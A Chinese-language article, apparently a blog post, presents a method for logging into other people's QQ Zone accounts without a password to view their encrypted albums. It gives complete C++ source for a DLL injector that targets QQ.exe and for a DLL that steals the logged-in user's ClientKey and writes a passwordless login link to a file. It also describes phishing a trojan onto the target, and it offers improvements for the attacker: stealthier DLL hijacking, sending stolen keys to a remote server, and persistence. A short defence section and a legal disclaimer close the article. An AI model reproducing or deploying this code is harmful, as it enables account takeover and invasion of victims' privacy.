无密码登录他人QQ空间可查看加密相册
字数 1167 2025-08-18 11:39:22
QQ空间无密码登录漏洞利用技术分析
一、技术概述
本文介绍了一种通过窃取已登录QQ或TIM用户的ClientKey来实现无密码登录其QQ空间的技术方法。该技术利用远程线程注入和DLL劫持技术,能够悄无声息地获取目标用户的QQ空间访问权限,包括查看加密相册等功能。
二、技术原理
1. 核心概念
- ClientKey:QQ客户端登录后生成的身份验证密钥,可用于无密码登录QQ空间
- 远程线程注入:将恶意代码注入到目标进程内存空间中执行的技术
- DLL劫持:利用Windows DLL加载机制使目标程序加载恶意DLL的技术
2. 技术流程
- 通过钓鱼手段使目标运行木马程序
- 木马上线后上传攻击工具
- 通过远程线程注入将恶意DLL注入QQ进程
- DLL窃取ClientKey并保存
- 使用获取的ClientKey构造无密码登录链接
三、详细实现步骤
1. 准备工作
- 准备两个关键文件:
dllInject.exe:远程线程注入程序Dll1.dll:窃取ClientKey的DLL
- 将这两个文件上传到目标机器的C盘根目录
2. 远程线程注入程序分析
// dllInject.cpp
#include "pch.h"
#include <iostream>
#include <windows.h>
#include <TlHelp32.h>
#include <string.h>
#define DLL_PATH L"C:\\Dll1.dll" // 恶意DLL路径
// 获取QQ.exe进程ID
DWORD GetProcId() {
PROCESSENTRY32 pe32;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
pe32.dwSize = sizeof(pe32);
if(Process32First(hSnap, &pe32)) {
do {
if (lstrcmp(pe32.szExeFile,L"QQ.exe")==0) {
return pe32.th32ProcessID;
}
} while(Process32Next(hSnap, &pe32));
}
return 0;
}
int main() {
DWORD dwId = GetProcId(); // 获取QQ进程ID
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwId);
// 在目标进程分配内存并写入DLL路径
DWORD dwSize = (wcslen(DLL_PATH) + 1) * 2;
LPVOID lpAddress = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, lpAddress, DLL_PATH, dwSize, NULL);
// 创建远程线程加载DLL
CreateRemoteThread(hProcess, NULL, NULL,
(LPTHREAD_START_ROUTINE)LoadLibraryW,
lpAddress, NULL, NULL);
// 清理资源
CloseHandle(hProcess);
return 0;
}
3. 恶意DLL分析
// dllmain.cpp
#include "stdafx.h"
#include <stdio.h>
#include <windows.h>
typedef BSTR CTXStringW;
// 分配TX字符串
CTXStringW AllocTXString(const wchar_t* lpSrc) {
if (!lpSrc) return NULL;
BYTE* bBuffer = new BYTE[16 + (wcslen(lpSrc) + 1) * 2];
DWORD dwZero = 0;
DWORD dwCount = 3;
DWORD dwLenth = wcslen(lpSrc) + 1;
memmove(bBuffer + 0*4, &dwZero, 4);
memmove(bBuffer + 1*4, &dwCount, 4);
memmove(bBuffer + 2*4, &dwLenth, 4);
memmove(bBuffer + 3*4, &dwLenth, 4);
wcscpy((wchar_t*)(bBuffer + 4*4), lpSrc);
return CTXStringW(bBuffer + 16);
}
VOID Steal() {
do {
// 获取KernelUtil.dll模块句柄
HMODULE hKernelUtil = GetModuleHandle(L"KernelUtil.dll");
if (!hKernelUtil) break;
// 获取QQ号码
PVOID PtrGetSelfUin = GetProcAddress(hKernelUtil, "?GetSelfUin@Contact@Util@@YAKXZ");
if (!PtrGetSelfUin) break;
DWORD uin = ((int(*)(int))PtrGetSelfUin)(1);
if (!uin) break;
// 获取ClientKey
PVOID GetSignature = GetProcAddress(hKernelUtil, "?GetSignature@Misc@Util@@YA?AVCTXStringW@@PBD@Z");
if (!GetSignature) break;
WCHAR wsBuffer[MAX_PATH] = {0};
CTXStringW ClientKey = AllocTXString(wsBuffer);
PVOID res = ((PVOID(*)(PVOID, const char*))GetSignature)(&ClientKey, "buf32ByteValueAddedSignature");
if (!res) break;
// 构造无密码登录链接
char msg[MAX_PATH] = {0};
sprintf(msg, "https://ssl.ptlogin2.qq.com/jump?ptlang=2052&clientuin=%d&clientkey=%ws&u1=https://user.qzone.qq.com/%d/infocenter&source=panelstar\n",
uin, ClientKey, uin);
// 将链接写入文件
FILE *file = fopen("C:\\clientkey.txt", "w+");
if (file) {
fputs(msg, file);
fclose(file);
}
} while(0);
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
Steal();
}
return TRUE;
}
4. 攻击执行流程
- 将
dllInject.exe和Dll1.dll上传至目标机器C盘根目录 - 在目标机器执行命令:
C:\dllInject.exe - 程序会自动:
- 查找QQ.exe进程
- 将Dll1.dll注入到QQ进程
- DLL窃取ClientKey并保存到C:\clientkey.txt
- 从clientkey.txt中获取无密码登录链接
5. 无密码登录链接格式
https://ssl.ptlogin2.qq.com/jump?ptlang=2052&clientuin=QQ号码&clientkey=ClientKey值&u1=https://user.qzone.qq.com/QQ号码/infocenter&source=panelstar
四、技术优化建议
-
DLL劫持替代注入:
- 可以研究QQ加载的DLL,通过DLL劫持技术使QQ自动加载恶意DLL
- 避免使用显式的注入操作,更加隐蔽
-
自动化数据回传:
- 修改DLL代码,将获取的ClientKey直接发送到远程服务器
- 避免在本地留下日志文件
-
多进程兼容:
- 当前代码仅针对QQ.exe,可扩展支持TIM.exe
- 修改GetProcId函数支持多进程检测
-
持久化机制:
- 添加自启动功能,在目标重启后仍能继续工作
- 可以使用注册表或计划任务实现
五、防御措施
-
用户防护:
- 不要运行来历不明的程序
- 定期检查系统异常进程和文件
- 使用安全软件防护
-
系统加固:
- 设置UAC为最高级别
- 限制非管理员用户的权限
- 定期检查系统DLL完整性
-
开发者建议:
- QQ客户端应加强进程保护
- 对关键函数进行混淆和加密
- ClientKey应设置更短的过期时间
六、技术限制
- ClientKey有一定有效期(约1天)
- 需要目标QQ处于登录状态
- 需要获取目标机器执行权限
- 现代QQ版本可能已修复此漏洞
七、法律声明
本文仅用于技术研究和防御目的,未经授权对他人计算机系统进行此类操作属于违法行为,请遵守相关法律法规。